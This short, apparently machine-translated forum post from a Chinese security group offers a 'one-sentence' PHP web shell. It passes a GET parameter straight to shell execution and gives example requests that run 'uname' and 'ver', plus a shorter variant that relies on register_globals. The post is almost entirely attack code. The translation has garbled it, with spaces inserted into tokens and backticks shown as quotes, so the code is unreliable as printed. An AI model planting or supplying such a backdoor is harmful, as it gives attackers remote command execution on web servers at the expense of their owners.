PHP Command Execution in one sentence

Note: The I .S. T. O Information Security Team was first published, and then submitted to the Technical Discussion Group of the evil baboons information security team by the original author. I .S. T. O All Rights Reserved. The author must be specified for reprinting.
A few days ago, I saw someone sending it in the QQ group and tested it. It feels quite helpful:

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Code:
Cmdexec20101201.php? Cx = uname-
<Pre> <? $ Cx1 = $ _ GET [cx]; echo '$ cx1';?> <Pre>

Register_global = on, you can use the following simplified version:
<Pre> <? = '$ Cx'?> </Pre>

Cmdexec20101201.php? Cx2 = ver
<Pre> <? = '$ _ GET [cx2]'?> </Pre>